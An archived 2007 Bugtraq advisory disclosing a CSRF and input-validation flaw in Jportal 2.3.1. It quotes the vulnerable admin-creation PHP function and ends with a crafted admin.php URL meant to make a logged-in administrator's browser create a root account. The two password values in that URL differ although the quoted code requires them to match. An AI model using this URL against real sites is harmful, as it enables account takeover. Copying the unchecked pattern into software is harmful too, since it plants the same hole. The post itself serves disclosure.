bugtraq - Jportal 2.3.1 CSRF vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20070211224522.11948.qmail@securityfocus.com>
Date: 11 Feb 2007 22:45:22 -0000
From: dzitu@...zta.fm
To: bugtraq@...urityfocus.com
Subject: Jportal 2.3.1 CSRF vulnerability

Type: CSRF Attack / Input Validation Error
Remote: Yes
Version: 2.3.1 (very possible, that older versions are vulnerable too)
Problem is in admin/admin.adm.php:

function add_admin() {

 global $name, $mail, $nick_, $action, $user_tbl, $access;
 global $nick, $PHP_SELF, $_pass, $pass_, $acce, $op, $goto;

if($access=='root') {

if($_pass==$pass_) {


if($acce[news]=='') $acce[news]='n';
if($acce[info]=='') $acce[info]='n';
if($acce[art]=='') $acce[art]='n';
if($acce[sonda]=='') $acce[sonda]='n';
if($acce[link]=='') $acce[link]='n';
if($acce[forum]=='') $acce[forum]='n';
if($acce[comm]=='') $acce[comm]='n';
if($acce[menu]=='') $acce[menu]='n';
if($acce[bann]=='') $acce[bann]='n';
if($acce[topic]=='') $acce[topic]='n';
if($acce[file]=='') $acce[file]='n';



if($acce[root]<>'t') {

$acce_ = $acce[news].'-'.$acce[art].'-'.$acce[info].'-'.$acce[sonda].'-'.$acce[link].'-'.$acce[forum].'-'.$acce[comm].'-'.$acce[file].'-'.$acce[menu].'-'.$acce[bann].'-'.$acce[topic];

} else {

$acce_ = 'root';

}


 $query = "INSERT INTO $user_tbl VALUES(NULL, '$nick_', '".md5($_pass)."', '$name', now(), '$acce_', '$mail', 1)";
 $result = mysql_query($query);

 add_log('dodano administratora (ID '.mysql_insert_id().')');


if($goto=='')
header("Location: admin.php?op=$op");
else
header("Location: $goto");
exit;

As we can see, all variables comes from "nowhere" (i.e. it can be POST, GET, even COOKIE) and it's not checked, if script was launched by admin through admin panel or not. Due to this fact, if only admin has logged in and not logged out, if we let him send prepared request, we can get a root account (For example using our profile avatar).

http://vulnerable_jportal/admin.php?op=admin&name=admin&mail=&nick_=admin&_pass=pass&pass_=haslo&acce%5Broot%5D=t&ok=dodaj&goto=&cmd=add

gives us root account with name "admin" and password "pass".

D&#380;itu
dzitu@...zta.fm